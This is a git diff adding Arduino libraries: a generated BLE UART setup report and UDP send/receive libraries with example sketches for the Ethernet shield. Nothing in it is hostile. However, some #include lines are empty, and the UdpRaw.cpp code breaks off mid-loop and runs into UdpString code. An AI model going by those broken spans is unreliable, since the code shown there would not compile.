b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/ublue_setup.gen.out.txt new file mode 100755 index 0000000..30f4ff2 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/uart/ublue_setup.gen.out.txt @@ -0,0 +1,117 @@ +------------------------------------------------------------------------------ + uBlue Setup generation report + Generated with uBlue setup DLL version: 1.0.0.16855 + Generated: Sat Jan 12 11:40:44 2013 (UTC) + This file is automatically generated, do not modify +------------------------------------------------------------------------------ + +[Counts] + +Setup data size = 547 bytes +Local database size = 302 bytes +Local attribute count = 4 +Remote attribute count = 0 +Total pipe count = 4 +Dynamic data size = 181 bytes (worst case) + +[Setup Area Layout] + +Setup area, total = 1595 bytes +Setup area, used = 370 bytes ( 23% of total ) +Local services = 302 bytes ( 81% of used ) +Remote services = 0 bytes ( 0% of used ) +Pipes = 40 bytes ( 10% of used ) +VS UUID area = 16 bytes ( 4% of used ) +Extended Attr area = 12 bytes ( 3% of used ) + +[Device Settings] + +Setup ID = 0x00000000 +Setup Format = 0x03 +Security = OPEN (0) +Bond Timeout = 600 +Security Request Delay = 0 +Change Timing Delay = 5 +Whitelist = Enabled + +[Advertisement Data] + +Bond Advertise = 0x00000014 [SERVICES_128_COMPLETE | LOCAL_NAME_COMPLETE] +Bond Scan Resp = 0x00000000 [] +General Advertise = 0x00000014 [SERVICES_128_COMPLETE | LOCAL_NAME_COMPLETE] +General Scan Resp = 0x00000000 [] +Broadcast Advertise = 0x00000010 [LOCAL_NAME_COMPLETE] +Broadcast Scan Resp = 0x00000000 [] + +Custom Bond Advertise = 0x00 [] +Custom Bond Scan Resp = 0x00 [] +Custom General Advertise = 0x00 [] +Custom General Scan Resp = 0x00 [] +Custom Broadcast Advertise = 0x00 [] +Custom Broadcast Scan Resp = 0x00 [] + +No custom AD types + +[Vendor Specific UUIDs] + +VS UUID #0 (type=0x02): 0x9E 0xCA 0xDC 0x24 0x0E 0xE5 0xA9 0xE0 0x93 0xF3 0xA3 0xB5 0x00 0x00 0x40 0x6E + +[Local Database] + +Handle Pipes Structure +------ ----- --------- +0x0001 +----- Service (Primary): "GAP" (01:0x1800) +0x0002 |----- |Characteristic: "Device Name" (01:0x2A00) [rd|wwr|wr] [rd:allow|wr:none] +0x0003 x |Value: {0x55 0x41 0x52 0x54} [rd:allow|wr:allow] +0x0004 |----- |Characteristic: "Appearance" (01:0x2A01) [rd] [rd:allow|wr:none] +0x0005 |Value: {0x00 0x00} [rd:allow|wr:none] +0x0006 |----- |Characteristic: "PPCP" (01:0x2A04) [rd] [rd:allow|wr:none] +0x0007 |Value: {0x06 0x00 0x12 0x00 0x00 0x00 0x0A 0x00} [rd:allow|wr:none] +0x0008 +----- Service (Primary): "GATT" (01:0x1801) +0x0009 +----- Service (Primary): "?" (02:0x0001) +0x000A |----- |Characteristic: "?" (02:0x0002) [wwr] [rd:allow|wr:none] +0x000B < |Value: {} [rd:none|wr:allow] +0x000C |----- |Characteristic: "?" (02:0x0003) [not] [rd:allow|wr:none] +0x000D > |Value: {} [rd:none|wr:none] +0x000E |----- |Descriptor: "Client Characteristic Configuration" (01:0x2902) Value: {0x00 0x00} [rd:allow|wr:allow] +0x000F +----- Service (Primary): "Device Info" (01:0x180A) +0x0010 |----- |Characteristic: "HW Rev" (01:0x2A27) [rd] [rd:allow|wr:none] +0x0011 x |Value: {0x0A} [rd:allow|wr:none] + +[Remote Database] + +Handle Pipes Structure +------ ----- --------- + +[Pipe Map] + +Pipe Store Type Service Char. CPF Desc. +---- ------ ------ ---------- --------- ----------- --------- +01 Local SET 01:0x1800 01:0x2A00 -- -- +02 Local RX 02:0x0001 02:0x0002 -- -- +03 Local TX 02:0x0001 02:0x0003 -- -- +04 Local SET 01:0x180A 01:0x2A27 -- -- + +[Setup Data] + +07-06-00-00-03-02-41-D7 +1F-06-10-00-00-00-00-00-00-00-04-00-04-01-01-00-00-06-00-00-90-00-00-00-00-00-00-00-00-00-00-00 +1F-06-10-1C-01-02-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-14-00-00-00-14-03-90-01-64 +1F-06-10-38-02-FF-02-58-00-05-00-00-00-00-00-00-00-00-00-00-00-10-00-00-00-00-00-00-00-00-00-00 +05-06-10-54-00-00 +1F-06-20-00-04-04-02-02-00-01-28-00-01-00-18-04-04-05-05-00-02-28-03-01-0E-03-00-00-2A-04-14-07 +1F-06-20-1C-04-00-03-2A-00-01-55-41-52-54-69-63-73-04-04-05-05-00-04-28-03-01-02-05-00-01-2A-06 +1F-06-20-38-04-03-02-00-05-2A-01-01-00-00-04-04-05-05-00-06-28-03-01-02-07-00-04-2A-06-04-09-08 +1F-06-20-54-00-07-2A-04-01-06-00-12-00-00-00-0A-00-04-04-02-02-00-08-28-00-01-01-18-04-04-10-10 +1F-06-20-70-00-09-28-00-01-9E-CA-DC-24-0E-E5-A9-E0-93-F3-A3-B5-01-00-40-6E-04-04-13-13-00-0A-28 +1F-06-20-8C-03-01-04-0B-00-9E-CA-DC-24-0E-E5-A9-E0-93-F3-A3-B5-02-00-40-6E-44-10-14-00-00-0B-00 +1F-06-20-A8-02-02-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-04-04-13-13-00-0C +1F-06-20-C4-28-03-01-10-0D-00-9E-CA-DC-24-0E-E5-A9-E0-93-F3-A3-B5-03-00-40-6E-14-00-14-00-00-0D +1F-06-20-E0-00-03-02-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-46-14-03-02-00 +1F-06-20-FC-0E-29-02-01-00-00-04-04-02-02-00-0F-28-00-01-0A-18-04-04-05-05-00-10-28-03-01-02-11 +19-06-21-18-00-27-2A-04-04-09-01-00-11-2A-27-01-0A-00-00-00-00-00-00-00-00-00 +1F-06-40-00-2A-00-01-00-80-04-00-03-00-00-00-02-02-00-08-04-00-0B-00-00-00-03-02-00-02-04-00-0D +0F-06-40-1C-00-0E-2A-27-01-00-80-04-00-11-00-00 +13-06-50-00-9E-CA-DC-24-0E-E5-A9-E0-93-F3-A3-B5-00-00-40-6E +0F-06-60-00-00-00-00-00-00-00-00-00-00-00-00-00 +06-06-F0-00-83-42-00 diff --git a/Projects/libraries/Installed_libs/Ethernet/README-ETHERNET.txt b/Projects/libraries/Installed_libs/Ethernet/README-ETHERNET.txt new file mode 100755 index 0000000..c9ebc48 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/README-ETHERNET.txt @@ -0,0 +1,7 @@ +These files augment the Ethernet library as distributed with Arduino0012, which in turn appears to include +application sample code from WIZnet. Eventually, we'll have to modify the underlying socket code of that library to fix buffer overflow risks and to better conserve precious Arduino RAM. + +For more information, look at: +http://code.rancidbacon.com/LearningAboutArduinoWIZ810MJ +http://trac.mlalonde.net/cral/browser/branches/follower/wiz810mj +12/31/08 \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.cpp b/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.cpp new file mode 100755 index 0000000..c0a2e6b --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.cpp @@ -0,0 +1,156 @@ +/* + * UdpBytewise.cpp: Library to send/receive UDP packets with the Arduino ethernet shield. + * Drop UdpBytewise.h/.cpp into the Ethernet library directory at hardware/libraries/Ethernet/ + * TODO: should protect buffer access with critical sections + * + * MIT License: + * Copyright (c) 2008 Bjoern Hartmann + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + * + * bjoern@cs.stanford.edu 12/30/2008 + */ + +extern "C" { +#include "types.h" +#include "w5100.h" +#include "socket.h" +} + +#include "Ethernet.h" +#include "UdpBytewise.h" + +/* Start UDP socket, listening at local port PORT */ +void UdpBytewiseClass::begin(uint16_t port) { + _port = port; + _sock = 0; //TODO: should not be hardcoded + _txIndex =0; + _rxIndex =0; + _rxSize = 0; + _txOverflowStrategy = UDP_TX_OVERFLOW_SPLIT; + socket(_sock,Sn_MR_UDP,_port,0); +} + + +/* Is data available in rx buffer? Returns 0 if no, number of available bytes if yes. */ +int UdpBytewiseClass::available() { + if(_rxSize==0 || _rxSize-_rxIndex==0) { + //if local buffer is empty or depleted + //check wiz5100 buffer for new packet + _rxSize = getSn_RX_RSR(_sock); //note: return value is inflated by 8 byte header + if(_rxSize){ + //if we have a new packet there + //reset buffer index + _rxIndex=0; + //copy packet into our local buffer + _rxSize = recvfrom(_sock,_rxBuffer,_rxSize-8,_rxIp,&_rxPort); + } else { + //else do nothing and rxsize is still 0 + ; + } + return _rxSize; //return the new number of bytes in our buffer + } else{ + //if buffer is not empty, return remaining # of bytes + return (_rxSize-_rxIndex); + } +} + + +/* Start a new packet with given target ip and port + * returns 1 on success, 0 if we already started a packet */ +int UdpBytewiseClass::beginPacket(uint8_t *ip, unsigned int port) { + if(_txIndex==0) { + //ok to start new packet - copy ip and port + _txIp[0]=ip[0]; + _txIp[1]=ip[1]; + _txIp[2]=ip[2]; + _txIp[3]=ip[3]; + _txPort = port; + return 1; + } + else { + //we already started a packet and have data in it + return 0; + } +} + + +/* Add a byte to the currently assembled packet if there is space + * if there isn't space, either truncate (ignore) or split the packet. + */ +void UdpBytewiseClass::write(uint8_t b) { + if(_txIndex>= UDP_TX_PACKET_MAX_SIZE) { + //buffer is full - we can either truncate the packet or split in two + switch (_txOverflowStrategy) { + case UDP_TX_OVERFLOW_SPLIT: + endPacket(); + beginPacket(_txIp,_txPort); + //fall through to normal add of byte to buffer below + break; + case UDP_TX_OVERFLOW_TRUNCATE: + default: + //don't add - just ignore bytes past buffer size + return; + } + } + _txBuffer[_txIndex++] = b; +} + +/* send an assembled packet out + * returns # of bytes sent on success, 0 if there's nothing to send */ +int UdpBytewiseClass::endPacket() { + // send the packet + uint16_t result = sendto(_sock,(const uint8_t *)_txBuffer,_txIndex,_txIp,_txPort); + // reset buffer index + _txIndex=0; + // return sent bytes + return (int)result; +} + +/* read the next byte of the last rececived packet */ +int UdpBytewiseClass::read() { + if(_rxIndex < _rxSize) { + // if there is something to be read, return the next byte + return _rxBuffer[_rxIndex++]; + } else { + //we already sent the last byte - nothing to do + return -1; + } +} + +void UdpBytewiseClass::getSenderIp(uint8_t*ip) { + ip[0]=_rxIp[0]; + ip[1]=_rxIp[1]; + ip[2]=_rxIp[2]; + ip[3]=_rxIp[3]; +} + +unsigned int UdpBytewiseClass::getSenderPort() { + return _rxPort; +} + +/* what should we do when we try to add to a full outgoing packet? + * UDP_TX_OVERFLOW_TRUNCATE - throw overflow bytes away + * UDP_TX_OVERFLOW_SPLIT - split into multiple packets + */ +void UdpBytewiseClass::setOverflowStrategy(uint8_t strategy) { + _txOverflowStrategy = strategy; +} + +/* Create one global object */ +UdpBytewiseClass UdpBytewise; diff --git a/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.h b/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.h new file mode 100755 index 0000000..0f3b400 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/UdpBytewise.h @@ -0,0 +1,81 @@ +/* + * UdpBytewise.cpp: Library to send/receive UDP packets with the Arduino ethernet shield. + * Drop UdpBytewise.h/.cpp into the Ethernet library directory at hardware/libraries/Ethernet + * + * NOTE: UDP is fast, but has some important limitations (thanks to Warren Gray for mentioning these) + * 1) UDP does not guarantee the order in which assembled UDP packets are received. This + * might not happen often in practice, but in larger network topologies, a UDP + * packet can be received out of sequence. + * 2) UDP does not guard against lost packets - so packets *can* disappear without the sender being + * aware of it. Again, this may not be a concern in practice on small local networks. + * For more information, see http://www.cafeaulait.org/course/week12/35.html + * + * MIT License: + * Copyright (c) 2008 Bjoern Hartmann + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + * + * bjoern@cs.stanford.edu 12/30/2008 + */ + +#ifndef UdpBytewise_h +#define UdpBytewise_h + +#include "Print.h" + +#define UDP_TX_PACKET_MAX_SIZE 32 +#define UDP_RX_PACKET_MAX_SIZE 32 + +#define UDP_TX_OVERFLOW_TRUNCATE 0 +#define UDP_TX_OVERFLOW_SPLIT 1 + +class UdpBytewiseClass: public Print { +private: + uint8_t _sock; // socket ID for Wiz5100 + uint16_t _port; // local port to listen on + + uint8_t _txBuffer[UDP_TX_PACKET_MAX_SIZE]; + uint8_t _txIndex; + uint8_t _txIp[4]; + uint16_t _txPort; + uint8_t _txOverflowStrategy; + + uint8_t _rxBuffer[UDP_RX_PACKET_MAX_SIZE]; + uint8_t _rxIndex; + int _rxSize; + uint8_t _rxIp[4]; + uint16_t _rxPort; + +public: + void begin(uint16_t); // initialize, start listening on specified port + int available(); // has data been received? + + // Single byte-oriented functions: + int beginPacket(uint8_t *ip, unsigned int port); // returns 1 on success, 0 if we already started a packet + virtual void write(uint8_t); // add a byte to the currently assembled packet (if there's space) + int endPacket(); // returns # of bytes sent on success, 0 if there's nothing to send + + int read(); //read a byte if available - returns -1 if no data available + + void getSenderIp(uint8_t * ip); //get remote IP of the packet we're currently reading from + unsigned int getSenderPort(); //get remote port# of the packet we're currently reading from + void setOverflowStrategy(uint8_t); // what to do when our packet is full and we try to add more? +}; + +extern UdpBytewiseClass UdpBytewise; +#endif diff --git a/Projects/libraries/Installed_libs/Ethernet/UdpRaw.cpp b/Projects/libraries/Installed_libs/Ethernet/UdpRaw.cpp new file mode 100755 index 0000000..43b1878 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/UdpRaw.cpp @@ -0,0 +1,133 @@ +/* + * UdpRaw.cpp: Library to send/receive UDP packets with the Arduino ethernet shield. + * This version only offers minimal wrapping of socket.c/socket.h + * Drop UdpRaw.h/.cpp into the Ethernet library directory at hardware/libraries/Ethernet/ + * + * MIT License: + * Copyright (c) 2008 Bjoern Hartmann + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + * + * bjoern@cs.stanford.edu 12/30/2008 + */ + +extern "C" { +#include "types.h" +#include "w5100.h" +#include "socket.h" +} + +#include "Ethernet.h" +#include "UdpRaw.h" + +/* Start UDP socket, listening at local port PORT */ +void UdpRawClass::begin(uint16_t port) { + _port = port; + _sock = 0; //TODO: should not be hardcoded + socket(_sock,Sn_MR_UDP,_port,0); +} + +/* Send packet contained in buf of length len to peer at specified ip, and port */ +/* Use this function to transmit binary data that might contain 0x00 bytes*/ +/* This function returns sent data size for success else -1. */ +uint16_t UdpRawClass::sendPacket(uint8_t * buf, uint16_t len, uint8_t * ip, uint16_t port){ + return sendto(_sock,(const uint8_t *)buf,len,ip,port); +} + +/* Send zero-terminated string str as packet to peer at specified ip, and port */ +/* This function returns sent data size for success else -1. */ +uint16_t UdpRawClass::sendPacket(const char str[], uint8_t * ip, uint16_t port){ + // compute strlen + const char *s; + for(s = str; *s; ++s); + uint16_t len = (s-str); + // send packet + return sendto(_sock,(const uint8_t *)str,len,ip,port); +} +/* Is data available in rx buffer? Returns 0 if no, number of available bytes if yes. + * returned value includes 8 byte UDP header!*/ +int UdpRawClass::available() { + return getSn_RX_RSR(_sock); +} + + +/* Read a received packet into buffer buf (which is of maximum length len); */ +/* store calling ip and port as well. Call available() to make sure data is ready first. */ +/* NOTE: I don't believe len is ever checked in implementation of recvfrom(),*/ +/* so it's easy to overflow buffer. so we check and truncate. */ +/* returns number of bytes read, or negative number of bytes we would have needed if we truncated */ +int UdpRawClass::readPacket(uint8_t * buf, uint16_t bufLen, uint8_t *ip, uint16_t *port) { + int packetLen = available()-8; //skip UDP header; + if(packetLen < 0 ) return 0; // no real data here + if(packetLen > (int)bufLen) { + //packet is too large - truncate + //HACK - hand-parse the UDP packet using TCP recv method + uint8_t tmpBuf[8]; + int i; + //read 8 header bytes and get IP and port from it + recv(_sock,tmpBuf,8); + ip[0] = tmpBuf[0]; + ip[1] = tmpBuf[1]; + ip[2] = tmpBuf[2]; + ip[3] = tmpBuf[3]; + *port = tmpBuf[4]; + *port = (*port << 8) + tmpBuf[5]; + + //now copy first (bufLen) bytes into buf + for(i=0;i<(int)bufLen;i++) { + recv(_sock,tmpBuf,1); + buf[i]=tmpBuf[0]; + } + + //and just read the rest byte by byte and throw it away + while(available()) { + recv(_sock,tmpBuf,1); + } + + return (-1*packetLen); + + //ALTERNATIVE: requires stdlib - takes a bunch of space + /*//create new buffer and read everything into it + uint8_t * tmpBuf = (uint8_t *)malloc(packetLen); + recvfrom(_sock,tmpBuf,packetLen,ip,port); + if(!tmpBuf) return 0; //couldn't allocate + // copy first bufLen bytes + for(unsigned int i=0; i str.capacity()) { + //packet is longer than string capacity - + //resize string - this is very implementation dependent on WString + str = String(len); + //fall through to read which should be ok now + } + return (int)recvfrom(_sock,(byte *)(str.cstr()),(uint16_t)str.capacity(),ip,port); +} + +/* Create one global object */ +UdpStringClass UdpString; diff --git a/Projects/libraries/Installed_libs/Ethernet/UdpString.h b/Projects/libraries/Installed_libs/Ethernet/UdpString.h new file mode 100755 index 0000000..b5b8d93 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/UdpString.h @@ -0,0 +1,70 @@ +/* + * UdpString.h: Library to send/receive UDP packets with the Arduino ethernet shield + * using Tom Igoe/Hernando Barragan's WString library. + * Drop UdpString.h/.cpp from this distribution into the Ethernet library directory at + * hardware/libraries/Ethernet/ + * Then copy directory /libraries/String from this distribution to /hardware/libraries/String in + * your Arduino installation. + * + * NOTE: UDP is fast, but has some important limitations (thanks to Warren Gray for mentioning these) + * 1) UDP does not guarantee the order in which assembled UDP packets are received. This + * might not happen often in practice, but in larger network topologies, a UDP + * packet can be received out of sequence. + * 2) UDP does not guard against lost packets - so packets *can* disappear without the sender being + * aware of it. Again, this may not be a concern in practice on small local networks. + * For more information, see http://www.cafeaulait.org/course/week12/35.html + * + * MIT License: + * Copyright (c) 2008 Bjoern Hartmann + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + * + * bjoern@cs.stanford.edu 12/30/2008 + */ + +#ifndef UdpString_h +#define UdpString_h + +#include "WString.h" + + + +class UdpStringClass { +private: + uint8_t _sock; // socket ID for Wiz5100 + uint16_t _port; // local port to listen on +public: + void begin(uint16_t); // initialize, start listening on specified port + int available(); // has data been received? + + // C-style buffer-oriented functions + uint16_t sendPacket(uint8_t *, uint16_t, uint8_t *, uint16_t); //send a packet to specified peer + uint16_t sendPacket(const char[], uint8_t *, uint16_t); //send a string as a packet to specified peer + uint16_t readPacket(uint8_t *, uint16_t); // read a received packet + uint16_t readPacket(uint8_t *, uint16_t, uint8_t *, uint16_t *); // read a received packet, also return sender's ip and port + + // WString functions + int sendPacket(String str, byte * ip, unsigned int port); + int sendPacket(String str, int length, byte * ip, unsigned int port); + int readPacket(String &str); + int readPacket(String &str, byte * ip, unsigned int * port); +}; + +extern UdpStringClass UdpString; + +#endif diff --git a/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveBytewise/UdpReceiveBytewise.pde b/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveBytewise/UdpReceiveBytewise.pde new file mode 100755 index 0000000..ae70665 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveBytewise/UdpReceiveBytewise.pde @@ -0,0 +1,57 @@ +#include +#include + +/* UdpReceiveBytewise.pde: Example how to receive packets over UDP using UdpBytewise library + * prints received packet to serial port + * bjoern@cs.stanford.edu 12/30/2008 + */ + +/* ETHERNET SHIELD CONFIGURATION + * set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets + */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; // MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +unsigned int localPort = 8888; // local port to listen on + +#define MAX_SIZE 32 // maximum packet size +byte packetBuffer[MAX_SIZE]; //buffer to hold incoming packet +int packetSize; // holds received packet size +byte remoteIp[4]; // holds recieved packet's originating IP +unsigned int remotePort; // holds received packet's originating port + +int i; + +/* SETUP: init Ethernet shield, start UDP listening, open serial port */ +void setup() { + Ethernet.begin(mac,ip,gw); + UdpBytewise.begin(localPort); + Serial.begin(38400); +} +/* LOOP: wait for incoming packets and print each packet to the serial port */ +void loop() { + // if there's data available, read a packet + if(packetSize = UdpBytewise.available()) { + Serial.print("Received packet of size "); + Serial.println(packetSize); + + UdpBytewise.getSenderIp(remoteIp); + Serial.print("From IP "); + for(i=0; i<4; i++) { + Serial.print(remoteIp[i],DEC); + if(i<3) Serial.print("."); + } + + remotePort = UdpBytewise.getSenderPort(); + Serial.print(" Port "); + Serial.println(remotePort); + + Serial.println("Contents:"); + while(UdpBytewise.available()) { + Serial.print(UdpBytewise.read(),BYTE); + } + } + //wait a bit + delay(10); +} diff --git a/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveRaw/UdpReceiveRaw.pde b/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveRaw/UdpReceiveRaw.pde new file mode 100755 index 0000000..4b240fd --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveRaw/UdpReceiveRaw.pde @@ -0,0 +1,70 @@ +#include +#include + +/* UdpReceiveRaw.pde: Example how to receive packets over UDP using UdpRaw library + * prints received packet to serial port + * bjoern@cs.stanford.edu 12/30/2008 + */ + +/* ETHERNET SHIELD CONFIGURATION + * set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets + */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; // MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +int localPort = 8888; // local port to listen on + +#define MAX_SIZE 32 // maximum packet size +byte packetBuffer[MAX_SIZE]; //buffer to hold incoming packet +int packetSize; // holds received packet size +byte remoteIp[4]; // holds recvieved packet's originating IP +unsigned int remotePort; // holds received packet's originating port + +int i; + +/* SETUP: init Ethernet shield, start UDP listening, open serial port */ +void setup() { + Ethernet.begin(mac,ip,gw); + UdpRaw.begin(localPort); + Serial.begin(38400); +} +/* LOOP: wait for incoming packets and print each packet to the serial port */ +void loop() { + + // if there's data available, read a packet + if(UdpRaw.available()) { + packetSize = UdpRaw.readPacket(packetBuffer,MAX_SIZE,remoteIp,(uint16_t *)&remotePort); + + Serial.print("Received packet of size "); + Serial.println(abs(packetSize)); + + Serial.print("From IP "); + for(i=0; i<3; i++) { + Serial.print(remoteIp[i],DEC); + Serial.print("."); + } + Serial.print(remoteIp[3],DEC); + + Serial.print(" Port "); + Serial.println(remotePort); + + if(packetSize < 0) { + // if return value <0 the packet was truncated to fit into our buffer + Serial.print("ERROR: Packet was truncated from "); + Serial.print(packetSize*-1); + Serial.print(" to "); + Serial.print(MAX_SIZE); + Serial.println(" bytes."); + } + + Serial.println("Contents:"); + for(i=0; i +#include +#include +/* UdpReceiveString.pde: Example how to receive packets over UDP using the UdpString library + * prints received packet to serial port + * bjoern@cs.stanford.edu 12/30/2008 + */ + +/* ETHERNET SHIELD CONFIGURATION + * set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets + */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; // MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +int localPort = 8888; // local port to listen on + +String packet(32); //packet can be max 32 bytes long +byte remoteIp[4]; // holds recvieved packet's originating IP +unsigned int remotePort[1]; // holds received packet's originating port + +int i; + +/* SETUP: init Ethernet shield, start UDP listening, open serial port */ +void setup() { + Ethernet.begin(mac,ip,gw); + UdpString.begin(localPort); + Serial.begin(38400); +} + +/* LOOP: wait for incoming packets and print each packet to the serial port */ +void loop() { + + // if there's data available, read a packet + if(UdpString.available()) { + int packetSize = UdpString.readPacket(packet,remoteIp,remotePort); + + Serial.print("Received packet of size "); + Serial.println(packetSize); + + Serial.print("From IP "); + for(i=0; i<3; i++) { + Serial.print(remoteIp[i],DEC); + Serial.print("."); + } + Serial.print(remoteIp[3],DEC); + + Serial.print(" Port "); + Serial.println(remotePort[0]); + + Serial.println("Contents:"); + Serial.println(packet); + + + } + //wait a bit + delay(10); +} diff --git a/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendBytewise/UdpSendBytewise.pde b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendBytewise/UdpSendBytewise.pde new file mode 100755 index 0000000..21885e9 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendBytewise/UdpSendBytewise.pde @@ -0,0 +1,36 @@ +#include +#include +/* UdpSendBytewise.pde: Example how to send packets over UDP using the UdpBytewise library + * by assembling packets byte-by-byte + * to check for received packets on Unix-ish setup, execute: + * sudo tcpdump -A -ien0 "udp port 8000" + * bjoern@cs.stanford.edu 12/29/2008 */ + +/* ETHERNET CONFIGURATION + * ARDUINO: set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; //MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +int localPort = 8888; //local port to listen on + +/* TARGET: set this to IP/Port of computer that will receive + * UDP messages from Arduino */ +byte targetIp[] = { 192, 168, 11, 15}; +int targetPort = 8000; + +int i=0; + +void setup() { + Ethernet.begin(mac,ip,gw); + UdpBytewise.begin(localPort); +} + +void loop() { + // this version of sendPacket sends a zero-terminated string. + UdpBytewise.beginPacket(targetIp,targetPort); + UdpBytewise.print("Hello, World! "); + UdpBytewise.print(i++); + UdpBytewise.endPacket(); + delay(1000); +} diff --git a/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendRaw/UdpSendRaw.pde b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendRaw/UdpSendRaw.pde new file mode 100755 index 0000000..838791d --- /dev/null +++ 